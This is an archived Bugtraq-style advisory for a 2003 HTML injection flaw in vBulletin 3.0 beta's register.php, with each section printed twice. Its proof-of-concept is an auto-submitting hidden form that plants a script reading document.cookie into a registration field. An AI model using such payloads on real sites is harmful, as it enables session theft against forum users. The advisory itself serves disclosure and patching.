vBulletin Register.PHP HTML Injection Vulnerability
BID:8354
Info
vBulletin Register.PHP HTML Injection Vulnerability
| Bugtraq ID: | 8354 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Aug 06 2003 12:00AM |
| Updated: | Aug 06 2003 12:00AM |
| Credit: | Reported by Ferruh Mavituna <[email protected]>. |
| Vulnerable: |
VBulletin VBulletin 3.0 beta 7 VBulletin VBulletin 3.0 beta 6 VBulletin VBulletin 3.0 beta 5 VBulletin VBulletin 3.0 beta 4 VBulletin VBulletin 3.0 beta 3 VBulletin VBulletin 3.0 beta 2 |
| Not Vulnerable: |
VBulletin VBulletin 3.0 Gamma VBulletin VBulletin 2.3 .0 VBulletin VBulletin 2.2.8 |
Discussion
vBulletin Register.PHP HTML Injection Vulnerability
vBulletin may be prone to an HTML injection vulnerability. This issue is exposed through inadequate sanitization of user input for certain fields within the register.php script. An attacker may exploit this issue by including hostile HTML and script code in fields that may be displayed in posts to the message board, or the user's profile. This code may be rendered in the web browser of a user who views the malicious message.
vBulletin may be prone to an HTML injection vulnerability. This issue is exposed through inadequate sanitization of user input for certain fields within the register.php script. An attacker may exploit this issue by including hostile HTML and script code in fields that may be displayed in posts to the message board, or the user's profile. This code may be rendered in the web browser of a user who views the malicious message.
Exploit / POC
vBulletin Register.PHP HTML Injection Vulnerability
The following example has been provided:
[form action="http://[victim]/register.php?do=register" method="post"
style="display:none"]
[input type="hidden" name="s" value="" /]
[input type="hidden" name="regtype" value="1" /]
[input type="text" class="bginput" name="field1" value="" size="25"
maxlength="250" /]
[input type="hidden" name="url" value="index.php" /]
[input type="hidden" name="do" value="addmember" /]
[/form]
[script]
//Code that will be executed
var xss = "\"][script]alert(document"+".cookie)[\/script]";
document.forms[0].field1.value=xss;
document.forms[0].submit();
[/script]
*Replace ([],<>)
The following example has been provided:
[form action="http://[victim]/register.php?do=register" method="post"
style="display:none"]
[input type="hidden" name="s" value="" /]
[input type="hidden" name="regtype" value="1" /]
[input type="text" class="bginput" name="field1" value="" size="25"
maxlength="250" /]
[input type="hidden" name="url" value="index.php" /]
[input type="hidden" name="do" value="addmember" /]
[/form]
[script]
//Code that will be executed
var xss = "\"][script]alert(document"+".cookie)[\/script]";
document.forms[0].field1.value=xss;
document.forms[0].submit();
[/script]
*Replace ([],<>)
Solution / Fix
vBulletin Register.PHP HTML Injection Vulnerability
Solution:
The vendor has stated that vBulletin 3.0 Gamma and later are not vulnerable to this issue. Users are advised to upgrade to a fixed version. Please contact the vendor for more information.
Solution:
The vendor has stated that vBulletin 3.0 Gamma and later are not vulnerable to this issue. Users are advised to upgrade to a fixed version. Please contact the vendor for more information.
References
vBulletin Register.PHP HTML Injection Vulnerability
References:
References:
- vBulletin Patch Information (vBulletin Security Vulnerability - POC) (Ferruh Mavituna
) - Vendor Homepage (Kyberna)